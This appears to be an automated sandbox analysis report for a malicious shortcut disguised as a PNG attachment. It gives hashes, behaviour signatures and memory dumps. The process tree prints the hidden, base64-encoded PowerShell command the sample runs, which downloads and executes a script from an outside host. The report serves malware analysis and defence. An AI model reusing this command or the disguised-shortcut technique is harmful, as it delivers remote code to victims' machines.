d58dc2ab26df5783442b79e3edb7826599494b28f3c75fa3823cbc876f3707da

General

Target

4bd/Attachment.png.lnk
Size

1KB
MD5

15482111f86159dc4cca2034e5520350
SHA1

7745a383710aa802613daaa245b456c77149d437
SHA256

a0e0df53e65b8b4f229eeec3e5c839b9436910a2830854b9e52aa11cd2155d4b
SHA512

6190c2808eb2712583a0c7b930d8bb6ca3628dcfdcfcc46b86153757b271220aa37d5fe6aed571a6575e941e3b222e29e086905c27eef85a2046d8108b66f92c

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 544 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

1976 powershell.exe
1976 powershell.exe
544 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1976 powershell.exe
Token: SeDebugPrivilege 544 powershell.exe

flow	pid	process
7	544	powershell.exe

pid	process
1976	powershell.exe
1976	powershell.exe
544	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	544	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2004 wrote to memory of 1976	2004	cmd.exe	powershell.exe
PID 2004 wrote to memory of 1976	2004	cmd.exe	powershell.exe
PID 2004 wrote to memory of 1976	2004	cmd.exe	powershell.exe
PID 1976 wrote to memory of 544	1976	powershell.exe	powershell.exe
PID 1976 wrote to memory of 544	1976	powershell.exe	powershell.exe
PID 1976 wrote to memory of 544	1976	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4bd\Attachment.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -noexit -file work.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
c858937698332df939a961443eedba4b

SHA1
b467ee9600fcc1979fcad901c58cad8a3a7a5049

SHA256
1fb8df7f4c3e34d3e36182829253de4960b4c9e60d68a59180b70883c8bfe5c4

SHA512
68238f0599a3fc2daa5f84caabef09d969085c97882bc776d737c3b02ecc134a2bddf58e2338b5170f84444749a63e739c95bbdaf7311a4fd70433168c754ab2

Download Submit
memory/544-71-0x0000000000000000-mapping.dmp

Download
memory/544-77-0x000000001A9C4000-0x000000001A9C6000-memory.dmp

Filesize
8KB

Download
memory/544-76-0x000000001A9C0000-0x000000001A9C2000-memory.dmp

Filesize
8KB

Download
memory/1976-65-0x0000000002480000-0x0000000002482000-memory.dmp

Filesize
8KB

Download
memory/1976-66-0x0000000002484000-0x0000000002486000-memory.dmp

Filesize
8KB

Download
memory/1976-67-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1976-68-0x000000001B4C0000-0x000000001B4C1000-memory.dmp

Filesize
4KB

Download
memory/1976-69-0x000000000248A000-0x00000000024A9000-memory.dmp

Filesize
124KB

Download
memory/1976-70-0x000000001B720000-0x000000001B721000-memory.dmp

Filesize
4KB

Download
memory/1976-64-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1976-62-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1976-63-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/1976-60-0x0000000000000000-mapping.dmp

Download
memory/2004-59-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing